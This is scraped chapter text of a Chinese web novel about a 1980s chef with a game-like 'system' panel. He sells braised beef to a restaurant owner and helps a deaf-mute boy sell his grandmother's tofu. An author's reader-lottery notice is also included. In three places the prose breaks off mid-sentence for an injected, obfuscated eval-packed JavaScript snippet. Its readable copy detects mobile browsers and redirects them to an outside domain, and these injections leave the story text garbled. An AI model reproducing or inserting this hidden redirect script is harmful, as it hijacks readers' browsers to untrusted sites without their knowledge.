这个星期营业稳中带涨，涨幅大头是飞燕酒楼的卤肉订单，还有一部分来自非纺织厂工人用户的小幅增加。 没错，纺织厂工人的用餐频率开始趋于稳定，而随着口碑的扩散，来自苏稽镇府工作人员、老师这类相对高收入人群，用餐人数有所提升。 这是很容易区分的，工作日的纺织厂工人穿统一的靛蓝色工装，没穿工装的，也能从衣着打扮推断出大概职业。 这年代的衣服款式太少了，哪一个职业工作日大概穿什么衣服都是类似的，真不能怪周砚刻板印象。 黄琛这周来了两回，一回待客，一回是早上自己来吃面。 周卫国来吃过两回面。 一位副镇长，一位武装部部长，给周砚这饭店在小镇公职人员中提升了一些知名度。 口碑这种东西，就是一点点慢慢做起来的。 周砚拿出信纸，略一思索，便握着钢笔在纸上刷刷写了起来。 邱绮与汪遇的这段经历，让他颇为触动，写起来文思如泉涌，洋洋洒洒四页纸。 墨水晾干，扫了一眼，便直接装进信封，熟络的写上地址和名字。 写完有种心情舒畅的感觉，原来和别人分享美好的事情，也是会感到快乐的。 从柜子里取出一块木板，周砚写上卤牛肉——1.4元一份·（四两）。 多的不说，明天先卤十五斤卤牛肉。 周砚已经和他大伯、二伯、三伯预约了牛腱子。 一块钱一斤的牛腱子，一斤能出六两左右的卤牛肉，卖三块五一斤，综合缩水率和边角料损耗等问题，毛利能到五成左右。 三块五一斤的卤牛肉，周砚还是颇有信心的。 其中有五斤是给黄鹤准备的，没提前跟他说，但周砚不信他会不要。 躺回到床上，周砚调出面板扫了一眼： 【玩家：周砚】 【职业：厨师】 【财富值：3162.36】 【职业技能】： 刀工（高级）：5600/100000 火候（中级）：8488/10000 调味（中级）：8688/10000 口才（高级）：88999/100000（百尺竿头更进一步！） …… 任务： 【支线任务：师父的执念！未完成】 【支线任务：赵淑兰的烦恼！未完成】 刀工、火候、调味稳定提升中。 刀工没什么好说的，现阶段的刀工水平足以应对他这个饭店所需的任何菜品。 火候和调味大幅度提升，正朝着高级迈进。 他这些天做了一些试验，发现了一个有趣的现象。 做系统只给菜谱的菜品，调味、火候的涨幅相对较小。 而他自己尝试烹饪的菜品，比如红烧鱼、面鱼这类菜，以及他师父教授的油渣炒莲白，火候、调味水平的提升就会比较显著。 周砚推断，这可能和他的主观能动性有一定关联。 系统给的经验会一次性提升刀工、调味、火候，但已经达成完美级别的菜品，多次烹饪带来的经验提升自然就不会高。 相反，一道他之前只是吃过、看过别人烹饪的菜品，那就需要更为谨慎地控制火候，以及调料的搭配、用量，这是尝试和学习的过程。 “有点意思啊，倒是可以在工作餐中进行更多菜品的尝试和练习，从而提升自己的专业技能水平。”周砚若有所思，倒是有了一些新想法。 在实践中进步。 经营饭店，其实菜品并非越多越好。 菜品之间的适配度，利润率，以及是否能上的了台面，会不会导致后厨错乱，都是需要谨慎考虑的问题。 甚至于，如果系统给出的菜谱与当前菜单不适配。 哪怕这道菜再完美，周砚也不一定会将其上菜单。 相反，如果他自己能琢磨出一些适配率较高，或者跟着师傅学会一些不错的新菜，能够丰富菜单的同时，提升营业额。 能够达到【相当不错】的评价，就可以考虑上菜单。 比如，油渣炒莲白。 两个未完成任务中，他师父已经好几天没来上大师课了，回头见了他，还是得好好敦促一下。 肖磊同志，懈怠了啊！ 至于赵淑兰的烦恼，恐怕不是一时半会能解决的。 **要想减重六十斤，绝非一朝一夕之功。 不过每天骑行七八十公里，让她和黄兵的气色都变好了许多。 成功从一个虚弱的胖子，变成了一个活力满满的胖子。 这运动量，其实周砚都是佩服的。 对于日均消费六块六的尊贵VIP，他又能有什么过分的要求呢。 关灯，闭眼，秒睡。 …… “咔嚓！” “咔嚓…” 川美宿舍。 朱玉玉和邓虹一左一右站在夏瑶身后，一手拿着米花糖，一手拿着花生糖，嚼的那叫一个酥脆。 “这花生糖好好吃，虽然比米花糖要硬点，但嚼起来好香！”朱玉玉说道。 “我还是更喜欢米花糖一点，有股淡淡的香油味，和其他地方的相比，还挺特别的。”邓虹跟着道。 两人说着话，眼睛都往夏瑶手里拿着的画瞧着。 画上是一个厨房，大大的灶台前站着一个穿着厨师服的男人，手里拿着锅铲，是一个背影。 本该黑色调为主的厨房，颜色却用的颇为鲜艳多变，彩色的调味罐、鲜红的辣椒、泛着红光的灶膛…… 夏瑶看着画，嘴角挂着笑意。 “这是周砚妹妹画的周砚吗？颜色用的好有感觉啊。”邓虹赞叹道。 “是啊，好大胆的撞色，但又有种莫名的和谐，对于色彩挺有天赋的。”朱玉玉也是往前凑了凑，点头道。 “构图也挺有意思的，三岁孩子看到的视角和我们是不同的，画功未经雕琢，全是灵性。”夏瑶笑着把画拿高了几分，让两人都能看清，带着几分感慨道：“是天真浪漫的颜色啊。” “是不是周砚让他妹给他画的？”邓虹笑吟吟道。 朱玉玉跟着笑：“我觉得有可能哦，厨房工作照，哈哈哈……” “不是，他说是沫沫自己画的。”夏瑶笑着道：“她可是超黏她哥哥的。” “我怎么觉得多少有点此地无银三百两的感觉。” “朱玉玉同志，**嘴短，咱们应该力挺周砚同志才对！我相信他。” “说得对！俺也一样！” 夏瑶白了两人一眼，没好气道：“行了，你们赶紧刷牙去，大半夜吃米花糖，小心蛀牙！” “好好好，不打扰你给周砚回信，记得替我们谢谢他投喂的零食。”两人嬉笑着离去。 夏瑶笑着摇了摇头，这次沫沫的画是画在画纸上的，周砚确实是一个好哥哥。 拿出画册，把画夹了进去，上边压了两本厚厚的教材，把它压平整来。 从信封里取出周砚写的信又看了一遍，脸上始终带着笑意。 “对了瑶瑶，下个月的生产实习，你报名了吗？我和玉玉准备去山城印刷厂，你也跟我们一起去呗，咱们说不定还能住一个宿舍呢。”邓虹抱着搪瓷盆回来，看着夏瑶问道。 朱玉玉把毛巾挂在门后的绳子上，也开口道：“对啊，跟咱们专业也对口，我听说报名的人可多了，还不知道能不能选上呢。” 夏瑶看着两人道：“这次公布的实习单位还挺多的，也不是非选印刷厂不可，印刷厂本身不负责广告设计和图书策划，在整个链条的下游。 相反，我觉得那些想要做品牌和打广告的酒厂、机械厂，生产实习中可能会有更多上手实践的机会，我还在考虑选哪一家。” 两人闻言面露思索之色：“好像有点道理啊……” …… 天刚蒙蒙亮，小周同志就带着老周同志去买菜了。 肉价果然降了！ 肉票取消，各肉摊的肉价降幅喜人，基本都降了一半。 周砚他们出来的够早，可路上已经碰到好几个买了肉回家的路人。 平日一大早去供销社排队都买不到的精五花，今天拿着一样的钱去刀儿匠的肉摊就买到了。 这对消费者来说，可是究极大利好啊！ 路过肉摊，更是围满了买肉的客人，这个要猪脚杆，那个要五花肉，刀儿匠脸上的笑就没停过。 卖了十几年猪肉，第一回感觉卖肉那么简单。 “这回卖肉是真能挣到钱了，本来只能卖半匹猪肉的，今天少说也能卖一匹出去。”老周同志有些感慨道，“刀儿匠也算是翻身做主人了。” “牛肉价格降一半，今天估计也要卖爆。”周砚也是笑着道，“不过这种情况不会持续太久，供销社的肉只是难排，不是买不到。现在在刀儿匠这里可以选到更安逸的肉，短期冲动消费会增加销量，但一般家庭每个月买肉是固定支出，用了就没了。” 老周同志若有所思的点头，想了想又道：“但刀儿匠的生意肯定还是比以前要好做些，能从供销社那里抢到客人了。” “有道理。”周砚表示认可。 从周村买了牛肉，又去桥头章老三和徐老二那把猪肉拿了。 “老汉，你看着车子，我去买两把小青菜。”周砚把车撑起，和老周同志打了声招呼，往石板桥头那一排卖菜的小贩走去。 面里放的小青菜每天都要买新鲜的，莲花白也得补两个，还要再买点新鲜的蒜苗用来炒回锅肉。 食材采购就是这样一件琐碎且麻烦的事情，如今好在有老周同志帮忙搭把手，不然他还得跑两趟，更费时间。 菜贩其实都是苏稽镇的农民，一早去把挂着露珠的菜从地里摘回来，背着背篼到镇上来卖，换了钱，再去供销社买点生活用品。 以蔬菜目前低廉的价格，也就只能挣点幸苦费。 不过随着包产到户的政策推行，农民的日子比以前还是好过了许多，嘉州水资源充沛，种地相对还是要容易许多的。 周砚不急不缓的往前走，目光扫过一个个摊位。 【一堆满是虫眼的无公害白菜】 【一颗还不够成熟的莲花白】 【一堆优质的小青菜】 一行行鉴定结果从周砚眼底飘过，周砚停下脚步，弯腰捡了两把用稻草捆好的小青菜，一把能有一斤多，只需一毛钱。 继续往前。 【一堆歪瓜裂枣的白萝卜】 【一块完美的豆腐】 周砚脚步一顿，看向了角落里缩着的一张折叠小桌子，上边摆着两方豆腐。 【一块完美的豆腐】 【一块不错的豆腐】 外观看起来并无明显区别的两块豆腐，鉴定结果却截然不同。 完美和不错之间，可是差着【相当不错】【极其不错】两个级别呢。 周砚看了眼摊子的主人，小桌子后边坐着的是一个十六七岁的少年，看着很瘦，身上穿着一件明显不合身的靛蓝色中山装，洗的发白，裤子上有好几个补丁，脚上穿的还是一双草鞋，露在外边的脚拇指冻得发红。 少年刚好抬头，和周砚对上眼神，有些不好意思地低下脑袋。 周砚忍不住摇头，这可不是做生意的料，看到男人都会害羞，要是看到少妇，那不得把脑袋埋裤裆里。 他往前张望了几眼，果然还有三家豆腐摊，顺着往前走去。 【一块不错的豆腐】 【一块相当不错的豆腐】 【一块不错的豆腐】 周砚提着两个莲花白又转了回来，在少年的豆腐摊前停下了脚步。 豆腐不稀奇，四川人爱吃豆腐，也擅长做豆腐。 所以，卖豆腐的人也不少。 但一份被鉴定为【完美的豆腐】，周砚高低得尝尝到底怎么一回事。 别家最好的评价也就【相当不错】。 完美，多稀奇的词条啊。 别人的摊子恨不得摆到路中间去，他这豆腐摊比别人往里缩了半米，刚好把路给让了出来。 这少年倒是守规矩，可守了规矩，又太过羞涩，两方白花花的豆腐，还是完完整整的摆在小桌子上，竟是一块都没卖出去。 “豆腐好多钱一斤？”周砚开口问道。 少年抬头看着他，指了指自己的耳朵。 “嗯？”周砚皱眉。 “他是个哑巴，又是个聋子，听不见，讲不来。”隔壁卖菜的嬢嬢看着少年叹了口气。 原来是个聋哑人，周砚愣了一下，看着桌子后边清秀的少年，心里顿时觉得有点不是滋味。 少年却抬头冲着他咧嘴笑了笑，露出一口整齐的牙齿，伸出两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年拿着钱愣了一下，起身准备追。 “他心地好，给你你就收到。”卖菜嬢嬢拉着他说道。 少年攥着钱，却是摇了摇头。 周砚走回到自行车前，先把素菜放进车篮子，然后把两块豆腐小心放在素菜上边。 “中午吃豆腐？”老周同志有些意外。 “对，这豆腐好得很。”周砚笑着点头，手扶着车把，心头还是觉得不太得劲。 “老汉，你再等我十分钟。”周砚说了一声，又掉头往回走去。 少年眼前一黯，下意识抬头，看到是周砚，脸上露出了笑容，立马举起一毛钱递向他。 “我不是来要这一毛钱的，我来教你怎么把豆腐卖出去。”周砚笑着摆手，从衣服兜里抽出那只派克钢笔，又从少年用来包豆腐的牛皮纸中抽出一张。 他在背面刷刷写下四个字：无声豆腐。 描边，加粗。 以及大大的：两**一斤！ 下方还有一行小字备注：我是个聋哑人，我听不见你的声音，但我能懂您的笑容。 周砚把写好的广告纸摆在了豆腐旁。 少年看着纸上的字愣愣出神，再抬头看周砚，眼里俨然已有泪光在闪烁。 很显然，他认得字。 那就简单多了。 周砚从口袋掏出账本，摊开新的一页刷刷写了一行字给他看：豆腐不是这么卖的，我来教你。 少年抬头看着他，点了点头。 周砚收起账本，第一步就是把少年的小桌子挪到了和隔壁两边卖菜的齐平，然后往摊摊前一站，中气十足地喊道：“买豆腐——买豆腐——两毛钱一斤，白豆腐不包浆，菜刀一打两眼光，豆腐好，豆腐香，美女吃了变西施，帅哥吃了不垮丝……” 他人高马大，穿着一身白色厨师服，往这一站本就显眼，声音又洪亮，立马引来了不少目光，还有人围过来的。 “姐姐，买点嘛，你看着和豆腐好的很，切口平整，一看就多细嫩。” “嬢嬢你放心，这豆腐煎来吃，炖来吃，还是拿来做麻婆豆腐味道都好得很。” “我不收钱，我也是买豆腐的，这弟娃耳朵听不见，嘴巴又不会说，两方豆腐一块都卖不出去，好造孽嘛，我不帮他吆喝两声，怕是一天都卖不完。” 周砚换上笑脸，东拉西扯，两方豆腐一会就卖了大半。 他嘴甜是一回事，客人看到小桌上的纸后，再看看清秀拘谨的少年，两毛钱顺手就掏了。 反正本来就要买豆腐，哪家买不是买。 人一围上来，便一个接一个。 周砚看着划豆腐、称豆腐，收钱找零忙团团转的少年，笑着转身离开。 他能做什么？ 不过就是帮他写张招牌，吆喝两声而已。 希望吃了他豆腐的客人，回去之后会觉得满意，下回再来照顾他的生意。 【完美的豆腐】不应该被声音所埋没，这是他对食物的态度。 “去整啥子了？”周淼看着笑着走来的周砚问道。 “帮一个小孩卖了点豆腐。”周砚笑着跨上车，往前蹬去：“走嘛，今天回去有点晚了，要抓紧时间。” “卖豆腐？”周淼丈二和尚摸不着头脑，也是蹬着自行车跟上。 回到饭店，周砚把两块豆腐拿出来，拿了两块土碗装着。 对比着看，差距依旧不明显，闻着都有股淡淡的豆香。 豆腐放到一旁柜子上，周砚开始炒浇头和臊子。 今天黄兵和**兄妹依然来的早。 两人点了面，黄兵注意到墙上增加的一块牌子，惊声道：“卤牛肉？！砚哥，你把卤牛肉做出来了？” “对，今天正式上了。”周砚笑着点头，“你回去跟你老汉说一声，问他今天要不要，我给他留了五斤。” “要得。”黄兵点头，他老汉儿千叮万嘱，让他一定要盯紧了周砚啥时候上卤牛肉，然后第一时间上报。 上个星期卤猪头肉上菜单之后，有不少飞燕酒楼的老主顾来吃饭，特意点了卤肉。 问起最多的，还是卤牛肉。 他老汉只能以暂未上线搪塞，其实心里比谁都着急。 早上面卖完，赵嬢嬢忙着煮跷脚牛肉高汤，周砚则是开始做卤肉。 猪蹄、牛肉、猪头肉、猪耳朵……按先后顺序下锅，小火慢卤。 灶里的火刚歇。 门外已经响起了摩托车声。 “周老板！周老板！我来了！” 黄鹤匆匆走进门来，神情中带着几分激动。 …… 晚点还会有一更~~ 求下个月的保底月票！ (本章完) 第148章 对卤牛肉放尊重点！（9000月票加更！） 黄鹤此刻心情有些激荡，黄兵吃了早饭回来，告诉了他周砚今天要推出卤牛肉的消息。 还在床上躺着的黄鹤噌的就爬了起来，立刻让黄兵骑着摩托带他来苏稽。 飞燕酒楼不能没有卤牛肉，就像西方不能没有耶路撒冷。 问卤牛肉的老顾客可太多了，特别是卤猪头肉重新上菜单后，更是天天都有人问。 卤牛肉啥时候上啊？ 他也急啊。 卤牛肉可是曾经飞燕酒楼卖的最好的卤肉，高峰期一天能卖一百多斤。 讲起这段辉煌的经历，他老汉不止一次跟他说，要是张嬢嬢再摆摊卖卤肉，卤牛肉一定要恢复。 张嬢嬢应该是不会再卖卤肉了，但周砚继承了她的衣钵，卤出了味道一模一样的卤猪头。 这几天来的老顾客，吃了都夸好，说几十年过去了，味道一点都没变。 黄鹤心里清楚，这等赞誉不是给他们飞燕酒楼的，而是给周砚的。 这年轻人的厨艺不容小觑，小小年纪，已经将张嬢嬢卤猪货完全传承下来。 对他的卤牛肉，黄鹤心里有点没底，毕竟前两天才跟他说还得练，但期待肯定是拉满了的。 来之前他已经和赵淑兰商量过了，只要味道能有当年赵嬢嬢做的卤牛肉的七八成，那就直接定。 就算只有是七八成，味道也能比外边的卤牛肉更好一些。 真有较真的老顾客问起，就托辞说卤水还在养，越往后越好吃。 飞燕酒楼愿意陪周砚一起成长，给他托底一部分牛肉，好让他在卤制过程中继续提升。 “黄老板，你来的有点快啊。”周砚从厨房出来，看着一身肥肉乱颤的黄鹤，笑着说道：“我才刚把火熄了，卤牛肉出锅还得等好一会呢。” “好肉不怕等，我坐着慢慢等也无妨。”黄鹤不以为意的摆了摆手。 “行，那你们先坐，我给你泡杯茶来。”周砚点头，示意黄家父子落座，从柜子里拿了茶叶，冲了三杯茶。 周砚端茶过来坐下，黄鹤已经迫不及待的看着他问道：“周老板，你上个星期不是说卤牛肉还要再练一段时间嘛？怎么今天这么突然。” “多练一周了，还突然吗？”周砚端着茶杯吹了吹面上扶着的茶叶，笑着道。 “我是高兴啊，等你的卤牛肉，我简直度日如年。”黄鹤略有几分紧张：“不晓得味道如何？和张嬢嬢相比，有几成功力了？” 周砚微微摇头：“我自卖自夸不好说，你等会尝了也就知道了。” “要得。”黄鹤点头，话题一转：“对了，周老板，我之前跟你商量的卤牛肉专供的事情，你考虑的怎么样了？” “黄老板，我跟你说一句实话，我的饭店早晚有一天会开到嘉州，我就算不卖给别人，到时候我自己肯定也要卖。”周砚看着他面带微笑道： “我晓得你们飞燕酒楼跟我奶奶几十年的合作关系，在最困难的时代携手走过，所以我也不想坑你一笔专卖费，你要好多，我就卖你好多。” 黄鹤闻言沉默了，这有点超出了他的预期。 飞燕酒楼和张记卤味合作几十年，期间几乎没闹过矛盾。 张记卤味立足嘉州，数十年如一日的提供卤肉，从未离开过。 他有点路径依赖了，如果周砚要把饭店开到嘉州，情况自然就不同了。 换句话说，那他们可就成竞争对手了。 “你准备啥时候把饭店开到嘉州去？准备开在哪啊？”黄鹤开口询问道。 “还早，至少也是一年以后的事情了。”周砚笑着说道：“具体位置还没定，不过我也也就是开个饭店，不开酒楼，不办大席。” “那没得事，一年后的事情一年后再说嘛。”黄鹤闻言松了口气，脸上重新露出了笑容：“我觉得飞燕酒楼的装修太老旧了，一年后我可能都换新酒楼了，弄个场地更大，装修更好的，做成嘉州办席的标杆。我们定位不一样，不影响，完全不影响。” “黄老板还是有实力。”周砚笑道。 话都说开了，气氛倒是融洽了不少。 三人坐着喝茶摆龙门阵，时间过得挺快。 周砚看着表，把浸泡好的卤肉分批次捞出。 卤牛腱子捞出晾凉后，周砚切了一份装盘，端了出来。 黄鹤看着端着卤牛肉从厨房出来的周砚，下意识地站起身来。 黄兵本来翘着二郎腿嗑瓜子的，见他老汉儿这么郑重，迟疑了一下。 啪！ 黄鹤的巴掌已经盖在他后脑勺上了：“对卤牛肉放尊重点！” “蛤？”黄兵一脸问号。 但迫于黄鹤的**，只能跟着起身迎接卤牛肉……大驾？ 黄鹤的眼睛盯着周砚手里端着的白瓷盘，看到里边顺着盘子螺旋摆盘的卤牛肉，切得铜钱厚，薄中带一点厚度，浸透卤汁呈的牛肉的肌理纹路太漂亮了，半透明状的筋膜如琥珀般点缀其上，肉包筋，色泽红亮而饱满。 “这个色泽！这个纹路！看着太对了！太对头了！” 黄鹤的眼睛越发明亮，甚至连呼吸都变得有些急促起来。 这不就是他心心念念的张记卤牛肉吗！ 和记忆中的简直一模一样。 回来了！ 张记卤牛肉真的回来了！ “黄老板，试吃一下味道对不对？”周砚笑着递上筷子，给黃兵也递了一双。 黄鹤接过筷子，手都在微微颤抖，深吸一口气，将情绪平复下来，这才夹起一片卤牛肉，先细细翻转着看了一遍，连连点头：“一模一样，简直一模一样，这糖色太漂亮了，完全渗透进去，一点都不发黑。” 如珍宝般鉴赏完毕，这才喂到嘴里，细细咀嚼着，眼睛越发明亮。 牛肉的口感紧实，筋膜又有点弹牙，不干不柴，嚼起来卤香浓郁，牛肉的肉味尤为突出，越嚼越香！ 黄鹤恍惚间，仿佛又回到了孩童时期。 他爹带着他去苏稽桥头找张嬢嬢，他闹着要回家，张嬢嬢随手切了两块卤牛肉递给他，笑着道：“小鸡，拿去吃。” 到现在，他都记得那两片卤牛肉的味道。 太香了，让他对卤牛肉从此改观。 后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200267|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他慢慢长大，一直都爱吃张嬢嬢做的卤牛肉。 这一片卤牛肉，和他记忆中的味道没有任何差异。 记得那时，他总爱跟着表叔去苏稽，有时还能买到张嬢嬢做的卤素菜。 飞燕酒楼没卖卤素菜，因为不上档次。 可他爱吃啊，卤藕、卤豆干、卤土豆……还得凑对季节才能吃得到。 “老汉儿？”黄兵看着一滴眼泪从黄鹤眼角滑落，惊得没敢伸筷子。 这卤牛肉把他见多识广的老汉，给吃哭了？ “对头！太对了！”黄小鸡没理他，看着周砚激动道：“周老板，你这卤牛肉已经学到了张嬢嬢的十二分精髓！味道太好了，一点毛病没得！味道巴适得板！我今天就要订十斤！” 周砚笑着道：“我今天一共就卤了十五斤，你先拿五斤去试看嘛，明天要好多，你提前订。” “要得，那明天你给我准备十二斤，等于是三十份的量，我先把口碑做起。”黄鹤点头道，忍不住又夹了一块卤牛肉喂到嘴里，连连点头：“好啊！这真是下酒好菜！” 黄兵也夹了一块尝了尝，同样眼睛一亮，这牛肉口感紧实弹牙，确实越嚼越香，好吃！ 不过。 好吃归好吃，老汉激动地眼泪掉下来，多少有点夸张了吧？ 黄兵不太懂，又不敢问，只好又吃了两片卤牛肉。 卤牛肉周砚没要专营费，但承诺了三个月内，不会把卤牛肉卖给嘉州城里的其他饭店。 作为代价，黄鹤以三块二一斤的卖价拿的卤牛肉，比卖价只便宜三毛。 看似他亏了点。 但这个价格实则比他来之前和赵淑兰商量的还要更低一些。 周砚的卤牛肉定价低于他的预期。 比卤猪耳朵和卤猪拱嘴贵五**，这在苏稽肯定要卖疯。 飞燕酒楼一份装四两，配一碟海椒面蘸碟，再加两片香菜叶子点缀，一份卖两块二不成问题，利润率还是相当可观。 卤肉装进两个篮子，盖上纱布，黄家父子左看，右看，偷感十足的骑着摩托车离去。 赵嬢嬢等他们走了，看着菜单也忍不住问道：“这卤牛肉的价格是不是定的有点低？三块五一斤，能挣到钱吗？” “毛利差不多五成，挣钱没问题，价格要是定的太高，一天卖不了两斤，那还不如降点利润多卖些。”周砚笑着说道，看了眼表，已经十点二十，转身往厨房走：“中午吃豆腐，早上买了两块豆腐。” 赵嬢嬢跟着往厨房走，一脸好奇道：“你打算啷个做呢？麻婆豆腐会不会嘛？我听他们说蓉城的麻婆豆腐有名的很，吃起来麻麻辣辣的，安逸得板。” “麻婆豆腐我还没学会，今天先做个家常豆腐，再做个鲫鱼豆腐汤嘛。”周砚笑着说道，从架子上把两碗豆腐端了出来。 【一份完美的豆腐】 【一份不错的豆腐】 周砚斟酌了一下，不错的豆腐拿来做家常豆腐，完美的豆腐拿来做鲫鱼豆腐汤，主打一个味道越清淡，食材用的越好。 开整！ (本章完) 八月份抽奖活动 七月收获满满！ 在各位股东的支持下，成功拿下新书月票榜第二！总榜第45名！ 截止23:00总月票22560票！ 牛逼！ 目前月票欠更还有27更！这个月继续还！ 这个月的月票加更规则为： 1000月票加一更，保底更新为两更六千字！ 三千字算加一更，这个月按字数来算加更，会定时结算！ 七月份的月票抽奖，明天中午12:00会在书友群里按照月票编号进行。会开个单章公布结果。 —— 为了感谢各位股东的支持，八月份会继续推出月票抽奖活动： 奖品是四川特产：A张吉武米花糖、B张飞豆干大礼包 总计70份，升级了一下规则。 投月票最多的10位读者可以直接获得A+B双份礼品 月票数11-20的读者，礼品二选一。 其余50份用来抽奖。 只要在8月1号——8月31号23:00前内给小破店投月票的读者都可参加。 活动无需报名，投月票就有月票编号，用于参加抽奖。 具体编号可以从头月票界面的右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从外边看垮了一半的房子，倒是有个打理的干干净净的大院子，靠近屋檐下放着一个小石磨，院墙边还有个闲置的大石磨，上边盖着一件蓑衣。 院子里有好几排竹竿，其中两根上边挂满了腐竹。 【一条极其不错的腐竹】 周砚眉梢一挑。 嘿！除了豆腐做得好，姨婆这腐竹做的也是呱呱叫啊。 一旁还有个茅草屋，微微冒着烟，豆干的香味从茅草屋中飘了出来，看样子应该是在烘豆腐干。 屋檐下堆着两摞一人高的豆腐磨具，和各种做豆腐的工具，同样摆的整整齐齐，就是看着已经闲置许久了。 “以前生意好的时候，还养了头驴拉磨，丽华去苏稽镇上摆摊，她儿子就赶驴车去各村叫卖，生意烫得很。丽华生得清秀，那时候大家都喊她豆腐西施。”老太太看着角落那闲置的大石磨说道，笑容中带着几分怀念。 周砚心头有些疑惑，做豆腐虽苦，可生意要是好，应该不至于把日子过成这般模样吧？连房子塌了都不修补。 他奶奶当年做卤味，可是一个人把五个儿子拉扯长大，孩子们也各自成家，过得还算体面。 “芬芬姐，你来啊。”堂屋门口出现了一个拄着木棍的老奶奶，干瘦，佝偻着腰，棉麻的衣服穿在身上就像挂在树枝上一般，空荡荡的，一头银发稀稀疏疏，如杂草般被随意扎成了一小把。 巴掌大的脸皱巴巴的，像个老苦瓜。 她拄着拐杖出来，左腿明显不敢受力，眼睛有些红肿，虚着眼睛瞧着院里站着的两人。 “丽华，你出来干啥子，快进去嘛。”老太太连忙上前，满眼心疼的扶住孙老太，关切地问道：“腿还是疼的恼火啊？眼睛好点没得嘛？” 周砚心头一紧，这位姨婆年纪比老太太小，可气色比老太太差太多了。 风烛残年四个字，在周砚的脑海中一闪而过。 “没得事，都习惯了。”孙老太咧嘴笑了笑，仰着脑袋，虚着眼睛看着周砚，“这是哪个孙孙？这么大了，我都认不得了。” “姨婆，我是周砚。”周砚连忙上前两步，笑着说道。 “老四的儿，今年都二十了，你应该是没怎么见过。”老太太给她介绍道。 “记得，铁英生他的时候我还去了，那时候跟个小猫一样，一下就长这么高了。”孙老太笑着说道，语气中带着几分感慨，“走嘛，进来坐。” 老太太扶着她进门，一步一步慢慢挪，几米的距离，愣是挪了两分钟，才在椅子上坐下。 “来就来了，还提啥子鸡蛋和东西，你们能来看我，我就很高兴了。”孙老太摇头道。 “给你带的卤猪头肉，要不要尝一块？”老太太笑着拿出那包用油皮纸包好的卤味，笑着说道。 “我说闻到卤肉香了呢，要吃，好久没有吃到芬芬姐卤的猪头肉了。”孙老太点头，枯槁的面容上露出了几分雀跃。 “来嘛来嘛。”老太太把油纸包打开，又转进厨房拿了双筷子出来递给孙老太，笑盈盈道：“尝尝看，这不是我卤的，是周砚卤的，他现在开饭店了，把我卤菜的手艺也传承下去了。” “真的？这么厉害？”孙老太有些惊讶，拿起筷子夹了一块猪头肉，用所剩不多的牙齿慢慢嚼着，皱巴巴的脸似乎都随之舒展开来，连连点头：“嗯，好吃！味道跟芬芬姐你做的一模一样，周砚学的太好了。” 看得出来，吃到猪头肉，她确实很开心。 名为来福的少年端着两杯茶出来，茶杯里都放着敲碎的冰糖，这是这个年代的糖水。 “来福，过来尝尝你表哥做的卤猪头肉。”孙老太冲着少年招了招手，给他也夹了一块猪头肉。 少年伸手接过，然后喂到嘴里，脸上也是露出了纯真的笑容。 周砚嘴角也不禁微微上扬，生活很苦，但也好像没那么糟糕。 “来福现在自己去卖豆腐了吗？”老太太在孙老太身旁坐下。 “是，去了三天了，前两天只卖了两斤豆腐出去，剩下的只能做成霉豆腐，倒是今天背去的两方豆腐的全部卖完了，回来跟我比划，说遇到了一个好心人帮他卖的。”孙老太看着来福，神情中带着几分淡淡的忧愁，“没得法啊，我也不晓得还能再做几天豆腐，所以只能喊他去做，喊他去卖，再苦再累，总归有条活路嘛。” “来福还是可以，才跟你学了一年，豆腐就已经做得有模有样了，你好好把腿和眼睛养好，慢慢教他，以后又是个做豆腐的好师傅。”老太太宽慰道。 “芳芳姐，我的身体我晓得，去年立伟和巧倩被大水冲走，房子又塌了，我在床上躺了三个月，眼泪哭干，身体也拖垮了，还把家里那点钱吃药吃完了。”孙老太握着老太太的手，有些惆怅的看着来福，“死，我倒是不怕，下去反倒热闹些，就是放心不下来福，看得到他有一条活路，我眼睛才闭得上。要是豆腐做不好，卖不出去了，不如送他出去打工。” 老太太轻轻拍了拍她的手：“你放心，这个年代不一样了，怎么都会有活路的。” 周砚喝了口茶，糖放的有点多，甜的齁人，又默默把杯子放了回去。 来福站在孙老太的身旁，一双干净明亮的眼睛盯着周砚，见周砚看来，冲他笑了笑。 周砚大概有点听懂了，孙老太应该是怕她走后，来福没法谋生，所以让他一个人去卖豆腐。 两块豆腐中，那块【不错】的豆腐，应该是来福做的。 其实没那么糟糕，即便和完美有一定差距，但已经是菜市场能卖的水准了，隔壁三个豆腐摊，也就一家比他做的稍好一点。 就是他这卖豆腐的水平吧，确实有待提高。 守着一方【完美的豆腐】，一天竟然只卖出去一斤。 要没他这个好心人，今天这两方豆腐怕是也卖不出去。 不过这个年代，让一个聋哑少年出去打工，恐怕并非什么好活路。 周砚心头轻叹了一口气，这姨婆也是个苦命人。 青年丧夫，晚年丧子，留下一个聋哑的小孙子相依为命。 麻绳专挑细处断，噩运只找苦命人… 【叮！支线任务触发：西坝豆腐传承守卫战！孙丽华作为西坝豆腐的传承人，如今年岁已高，试图将西坝豆腐的制作技艺传承给顾来福，但因为顾来福是聋哑人，豆腐销路成了问题，入不敷出。孙丽华因此对豆腐技艺传承失去了信心，已经开始向亲属求助，准备送来福去南方打工，寻找活路。 苏稽镇唯一的西坝豆腐传承，即将因此断掉。请玩家介入干预，提升并稳定来福的豆腐销量，改变孙丽华的想法，让其将西坝豆腐继续传承下去，从而保证玩家饭店后续可获得【完美】豆腐以及豆腐衍生品供应。】 【任务奖励：麻婆豆腐！接受：是/否】 周砚还没感慨完，眼底弹出了一道系统任务。 看完任务的周砚，一秒都没有迟疑，直接选择接受。 麻婆豆腐诶！ 上哪能学到完美的麻婆豆腐啊。 